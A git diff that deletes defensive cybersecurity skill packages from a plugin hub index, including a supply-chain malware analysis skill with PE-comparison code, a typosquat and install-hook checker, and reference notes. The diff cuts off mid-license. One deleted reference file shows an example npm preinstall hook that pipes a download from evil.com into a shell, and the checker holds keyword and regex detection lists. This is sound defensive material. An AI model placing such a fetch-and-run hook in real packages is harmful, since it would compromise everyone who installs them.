diff --git a/.flocks/flockshub/index.json b/.flocks/flockshub/index.json index 14c60b732..1316944dd 100644 --- a/.flocks/flockshub/index.json +++ b/.flocks/flockshub/index.json @@ -1785,23 +1785,6 @@ "riskLevel": "low", "manifestPath": "plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-slack-space-and-file-system-artifacts/manifest.json" }, - { - "id": "analyzing-supply-chain-malware-artifacts", - "type": "skill", - "name": "analyzing-supply-chain-malware-artifacts", - "description": "Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise.", - "version": "1.0", - "category": "detection", - "tags": [ - "hids" - ], - "useCases": [ - "endpoint-forensics" - ], - "trust": "community", - "riskLevel": "low", - "manifestPath": "plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/manifest.json" - }, { "id": "analyzing-threat-actor-ttps-with-mitre-attack", "type": "skill", @@ -4563,23 +4546,6 @@ "riskLevel": "low", "manifestPath": "plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-attacks-on-endpoints/manifest.json" }, - { - "id": "detecting-fileless-malware-techniques", - "type": "skill", - "name": "detecting-fileless-malware-techniques", - "description": "Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.", - "version": "1.0.0", - "category": "detection", - "tags": [ - "windows" - ], - "useCases": [ - "endpoint-forensics" - ], - "trust": "community", - "riskLevel": "low", - "manifestPath": "plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/manifest.json" - }, { "id": "detecting-golden-ticket-attacks-in-kerberos-logs", "type": "skill", @@ -6447,25 +6413,6 @@ "riskLevel": "low", "manifestPath": "plugins/skills/Anthropic-Cybersecurity-Skills/hunting-credential-stuffing-attacks/manifest.json" }, - { - "id": "hunting-for-anomalous-powershell-execution", - "type": "skill", - "name": "hunting-for-anomalous-powershell-execution", - "description": "Hunt for malicious PowerShell activity by analyzing Script Block Logging (Event 4104), Module Logging (Event 4103), and process creation events. The analyst parses Windows Event Log EVTX files to detect obfuscated commands, AMSI bypass attempts, encoded payloads, credential dumping keywords, and suspicious download cradles. Activates for requests involving PowerShell threat hunting, script block analysis, encoded command detection, or AMSI bypass identification.", - "version": "1.0", - "category": "detection", - "tags": [ - "iam", - "windows", - "ioc" - ], - "useCases": [ - "log-analysis" - ], - "trust": "community", - "riskLevel": "low", - "manifestPath": "plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/manifest.json" - }, { "id": "hunting-for-beaconing-with-frequency-analysis", "type": "skill", diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/LICENSE b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/LICENSE deleted file mode 100644 index d8851182d..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/SKILL.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/SKILL.md deleted file mode 100644 index b92ecfeba..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/SKILL.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -name: analyzing-supply-chain-malware-artifacts -description: Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, - and sideloaded dependencies to identify intrusion vectors and scope of compromise. -domain: cybersecurity -subdomain: malware-analysis -tags: -- supply-chain -- malware-analysis -- trojanized-software -- solarwinds -- 3cx -- dependency-confusion -- software-integrity -version: '1.0' -author: mahipal -license: Apache-2.0 -atlas_techniques: -- AML.T0010 -- AML.T0104 -nist_ai_rmf: -- GOVERN-5.2 -- MAP-1.6 -- MANAGE-2.2 -d3fend_techniques: -- Platform Hardening -- Hardware Component Inventory -- Restore Object -- Electromagnetic Radiation Hardening -- RF Shielding -nist_csf: -- DE.AE-02 -- RS.AN-03 -- ID.RA-01 -- DE.CM-01 ---- -# Analyzing Supply Chain Malware Artifacts - -## Overview - -Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years. - - -## When to Use - -- When investigating security incidents that require analyzing supply chain malware artifacts -- When building detection rules or threat hunting queries for this domain -- When SOC analysts need structured procedures for this analysis type -- When validating security monitoring coverage for related attack techniques - -## Prerequisites - -- Python 3.9+ with `pefile`, `ssdeep`, `hashlib` -- Binary diff tools (BinDiff, Diaphora) -- Code signing verification tools (sigcheck, codesign) -- Software composition analysis (SCA) tools -- Access to legitimate software versions for comparison -- Package repository monitoring (npm, PyPI, NuGet) - -## Workflow - -### Step 1: Binary Comparison Analysis - -```python -#!/usr/bin/env python3 -"""Compare trojanized binary against legitimate version.""" -import hashlib -import pefile -import sys -import json - - -def compare_pe_files(legitimate_path, suspect_path): - """Compare PE file structures between legitimate and suspect versions.""" - legit_pe = pefile.PE(legitimate_path) - suspect_pe = pefile.PE(suspect_path) - - report = {"differences": [], "suspicious_sections": [], "import_changes": []} - - # Compare sections - legit_sections = {s.Name.rstrip(b'\x00').decode(): { - "size": s.SizeOfRawData, - "entropy": s.get_entropy(), - "characteristics": s.Characteristics, - } for s in legit_pe.sections} - - suspect_sections = {s.Name.rstrip(b'\x00').decode(): { - "size": s.SizeOfRawData, - "entropy": s.get_entropy(), - "characteristics": s.Characteristics, - } for s in suspect_pe.sections} - - # Find new or modified sections - for name, props in suspect_sections.items(): - if name not in legit_sections: - report["suspicious_sections"].append({ - "name": name, "reason": "New section not in legitimate version", - "size": props["size"], "entropy": round(props["entropy"], 2), - }) - elif abs(props["size"] - legit_sections[name]["size"]) > 1024: - report["suspicious_sections"].append({ - "name": name, "reason": "Section size significantly changed", - "legit_size": legit_sections[name]["size"], - "suspect_size": props["size"], - }) - - # Compare imports - legit_imports = set() - if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'): - for entry in legit_pe.DIRECTORY_ENTRY_IMPORT: - for imp in entry.imports: - if imp.name: - legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}") - - suspect_imports = set() - if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'): - for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT: - for imp in entry.imports: - if imp.name: - suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}") - - new_imports = suspect_imports - legit_imports - if new_imports: - report["import_changes"] = list(new_imports) - - # Check code signing - report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size) - report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size) - - return report - - -def hash_file(filepath): - """Calculate multiple hashes for a file.""" - hashes = {} - with open(filepath, 'rb') as f: - data = f.read() - for algo in ['md5', 'sha1', 'sha256']: - h = hashlib.new(algo) - h.update(data) - hashes[algo] = h.hexdigest() - return hashes - - -if __name__ == "__main__": - if len(sys.argv) < 3: - print(f"Usage: {sys.argv[0]} ") - sys.exit(1) - report = compare_pe_files(sys.argv[1], sys.argv[2]) - print(json.dumps(report, indent=2)) -``` - -## Validation Criteria - -- Trojanized components identified through binary diffing -- Injected code isolated and analyzed separately -- Code signing anomalies documented -- Infection timeline reconstructed from build artifacts -- Downstream impact scope assessed across affected systems -- IOCs extracted for detection and blocking - -## References - -- [ReversingLabs - 3CX Supply Chain Analysis](https://www.reversinglabs.com/blog/what-went-wrong-with-the-3cx-software-supply-chain-attack-and-how-it-could-have-been-prevented) -- [Fortinet - SolarWinds Supply Chain Attack](https://www.fortinet.com/resources/cyberglossary/solarwinds-cyber-attack) -- [Picus - 3CX SmoothOperator Analysis](https://www.picussecurity.com/resource/blog/smoothoperator-analysis-of-3cxdesktopapp-supply-chain-attack) -- [MITRE ATT&CK T1195 - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/) diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/assets/template.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/assets/template.md deleted file mode 100644 index b83d9a787..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/assets/template.md +++ /dev/null @@ -1,25 +0,0 @@ -# Analysis Report Template - analyzing-supply-chain-malware-artifacts - -## Sample Information -| Field | Value | -|-------|-------| -| SHA-256 | | -| File Type | | -| Analysis Date | | -| Analyst | | -| Classification | TLP:AMBER | - -## Findings -| Finding | Severity | Details | -|---------|----------|---------| -| | | | - -## IOCs Extracted -| Type | Value | Context | -|------|-------|---------| -| | | | - -## Recommendations -1. -2. -3. diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/manifest.json b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/manifest.json deleted file mode 100644 index fde0125ef..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/manifest.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "schemaVersion": "hub.plugin.v1", - "id": "analyzing-supply-chain-malware-artifacts", - "type": "skill", - "name": "analyzing-supply-chain-malware-artifacts", - "description": "Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise.", - "version": "1.0", - "author": "mahipal", - "license": "Apache-2.0", - "homepage": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills", - "category": "detection", - "tags": [ - "hids" - ], - "useCases": [ - "endpoint-forensics" - ], - "domains": [ - "security-ops" - ], - "capabilities": [ - "llm-agent", - "file-analysis" - ], - "trust": "community", - "source": { - "kind": "bundled", - "path": ".flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts" - }, - "compatibility": { - "flocks": ">=0.8.0", - "os": [ - "darwin", - "linux", - "windows" - ] - }, - "dependencies": { - "skills": [], - "tools": [], - "python": [], - "external": [] - }, - "permissions": { - "tools": [], - "network": false, - "shell": false, - "filesystem": "read" - }, - "risk": { - "level": "low", - "reasons": [] - }, - "entrypoints": [ - "SKILL.md" - ], - "checksums": {}, - "upstream": { - "name": "mukul975/Anthropic-Cybersecurity-Skills", - "url": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills" - }, - "sourceNotice": "Source: This skill is adapted from the open-source project https://github.com/mukul975/Anthropic-Cybersecurity-Skills." -} diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md deleted file mode 100644 index 932dc27db..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md +++ /dev/null @@ -1,85 +0,0 @@ -# API Reference: Supply Chain Malware Analysis - -## npm Registry API - -### Package Metadata -```bash -curl https://registry.npmjs.org/ -curl https://registry.npmjs.org// -``` - -### Response Fields -| Field | Description | -|-------|-------------| -| `dist-tags.latest` | Latest version | -| `versions` | All published versions | -| `maintainers` | Package maintainers | -| `time.created` | First publish date | -| `time.modified` | Last modification | - -## PyPI JSON API - -### Package Info -```bash -curl https://pypi.org/pypi//json -``` - -### Key Fields -| Field | Description | -|-------|-------------| -| `info.author` | Package author | -| `info.version` | Current version | -| `releases` | All versions with artifacts | -| `info.project_urls` | Source code links | - -## Socket.dev - Supply Chain Analysis - -### npm Audit -```bash -socket npm audit -socket npm info -``` - -## Suspicious Package Indicators - -| Indicator | Severity | Description | -|-----------|----------|-------------| -| preinstall/postinstall hooks | HIGH | Code runs during npm install | -| URL/git dependencies | HIGH | Dependencies from non-registry source | -| eval/exec in setup.py | HIGH | Dynamic code execution during pip install | -| Base64 in install scripts | HIGH | Obfuscated payload | -| Recently created package | MEDIUM | New package mimicking popular name | -| Single maintainer | LOW | Bus factor risk | - -## Sigstore/cosign Verification - -### Verify Container Image -```bash -cosign verify --certificate-identity-regexp=".*" \ - --certificate-oidc-issuer-regexp=".*" image:tag -``` - -### Verify Artifact -```bash -cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz -``` - -## SLSA Framework Levels - -| Level | Requirement | -|-------|-------------| -| SLSA 1 | Build provenance exists | -| SLSA 2 | Hosted build platform, authenticated provenance | -| SLSA 3 | Hardened build platform, non-falsifiable provenance | -| SLSA 4 | Two-party review, hermetic builds | - -## npm install Hook Risks -```json -{ - "scripts": { - "preinstall": "curl evil.com/payload | sh", - "postinstall": "node ./install.js", - "preuninstall": "node cleanup.js" - } -} -``` diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/standards.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/standards.md deleted file mode 100644 index 9f52eede4..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/standards.md +++ /dev/null @@ -1,9 +0,0 @@ -# Standards Reference - analyzing-supply-chain-malware-artifacts - -## Applicable Standards -- MITRE ATT&CK Framework -- NIST SP 800-83 Guide to Malware Incident Prevention -- NIST SP 800-86 Guide to Integrating Forensic Techniques - -## Related MITRE ATT&CK Techniques -See SKILL.md for specific technique mappings. diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/workflows.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/workflows.md deleted file mode 100644 index acf86d044..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/references/workflows.md +++ /dev/null @@ -1,11 +0,0 @@ -# Analysis Workflows - analyzing-supply-chain-malware-artifacts - -## Primary Workflow -``` -[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction] - | - v - [Report Generation] -``` - -See SKILL.md for detailed step-by-step procedures. diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py deleted file mode 100644 index 91492772c..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py +++ /dev/null @@ -1,164 +0,0 @@ -#!/usr/bin/env python3 -"""Supply chain malware artifact analysis agent. - -Analyzes software supply chain compromise indicators including package -integrity, build pipeline artifacts, dependency confusion, and trojanized updates. -""" - -import os -import sys -import json -import hashlib -import re -import subprocess -from datetime import datetime - -try: - import requests - HAS_REQUESTS = True -except ImportError: - HAS_REQUESTS = False - - -def compute_hash(filepath): - hashes = {} - for algo in ("md5", "sha1", "sha256"): - h = hashlib.new(algo) - with open(filepath, "rb") as f: - for chunk in iter(lambda: f.read(65536), b""): - h.update(chunk) - hashes[algo] = h.hexdigest() - return hashes - - -def check_npm_package(package_name): - if not HAS_REQUESTS: - return {"error": "requests not installed"} - url = f"https://registry.npmjs.org/{package_name}" - try: - resp = requests.get(url, timeout=15) - resp.raise_for_status() - data = resp.json() - latest = data.get("dist-tags", {}).get("latest", "") - versions = list(data.get("versions", {}).keys()) - maintainers = data.get("maintainers", []) - return { - "name": package_name, "latest": latest, - "version_count": len(versions), - "maintainers": [m.get("name") for m in maintainers], - } - except requests.RequestException as e: - return {"error": str(e)} - - -def check_pypi_package(package_name): - if not HAS_REQUESTS: - return {"error": "requests not installed"} - url = f"https://pypi.org/pypi/{package_name}/json" - try: - resp = requests.get(url, timeout=15) - resp.raise_for_status() - data = resp.json() - info = data.get("info", {}) - return { - "name": info.get("name"), "version": info.get("version"), - "author": info.get("author"), - "release_count": len(data.get("releases", {})), - } - except requests.RequestException as e: - return {"error": str(e)} - - -def detect_typosquat_packages(target_name): - permutations = set() - for i in range(len(target_name)): - permutations.add(target_name[:i] + target_name[i+1:]) - for i in range(len(target_name) - 1): - swapped = list(target_name) - swapped[i], swapped[i+1] = swapped[i+1], swapped[i] - permutations.add("".join(swapped)) - permutations.add(target_name.replace("-", "_")) - permutations.add(target_name.replace("_", "-")) - permutations.discard(target_name) - return sorted(permutations) - - -def analyze_package_scripts(package_json_path): - with open(package_json_path, "r") as f: - pkg = json.load(f) - findings = [] - scripts = pkg.get("scripts", {}) - for hook in ["preinstall", "postinstall", "preuninstall"]: - if hook in scripts: - cmd = scripts[hook] - findings.append({ - "type": "install_hook", "hook": hook, "command": cmd[:200], - "severity": "HIGH" if any(s in cmd.lower() for s in - ["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM", - }) - deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})} - for dep, ver in deps.items(): - if ver.startswith("http") or ver.startswith("git"): - findings.append({ - "type": "url_dependency", "package": dep, - "source": ver[:200], "severity": "HIGH", - }) - return {"name": pkg.get("name"), "findings": findings} - - -def analyze_python_setup(setup_py_path): - with open(setup_py_path, "r") as f: - content = f.read() - findings = [] - patterns = [ - (r"os\.system\(", "os.system() execution"), - (r"subprocess\.", "subprocess execution"), - (r"exec\(", "exec() code execution"), - (r"eval\(", "eval() code execution"), - (r"base64\.b64decode", "Base64 decoding"), - (r"socket\.", "Network socket usage"), - ] - for pattern, description in patterns: - if re.search(pattern, content): - findings.append({ - "type": "suspicious_setup_code", - "pattern": description, "severity": "HIGH", - }) - return {"file": setup_py_path, "findings": findings} - - -if __name__ == "__main__": - print("=" * 60) - print("Supply Chain Malware Artifact Analysis Agent") - print("Package integrity, typosquat detection, install hook analysis") - print("=" * 60) - - target = sys.argv[1] if len(sys.argv) > 1 else None - if not target: - print("\n[DEMO] Usage:") - print(" python agent.py # Analyze npm package") - print(" python agent.py npm: # Check npm registry") - print(" python agent.py pypi: # Check PyPI registry") - sys.exit(0) - - if target.startswith("npm:"): - pkg_name = target[4:] - print(f"\n[*] Checking npm: {pkg_name}") - info = check_npm_package(pkg_name) - typos = detect_typosquat_packages(pkg_name) - print(json.dumps(info, indent=2)) - print(f"\n Potential typosquats: {typos[:10]}") - elif target.startswith("pypi:"): - pkg_name = target[5:] - print(f"\n[*] Checking PyPI: {pkg_name}") - info = check_pypi_package(pkg_name) - print(json.dumps(info, indent=2)) - elif os.path.exists(target): - basename = os.path.basename(target) - if basename == "package.json": - result = analyze_package_scripts(target) - elif basename == "setup.py": - result = analyze_python_setup(target) - else: - result = {"file": target, "hashes": compute_hash(target)} - print(json.dumps(result, indent=2)) diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/LICENSE b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/LICENSE deleted file mode 100644 index d8851182d..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. 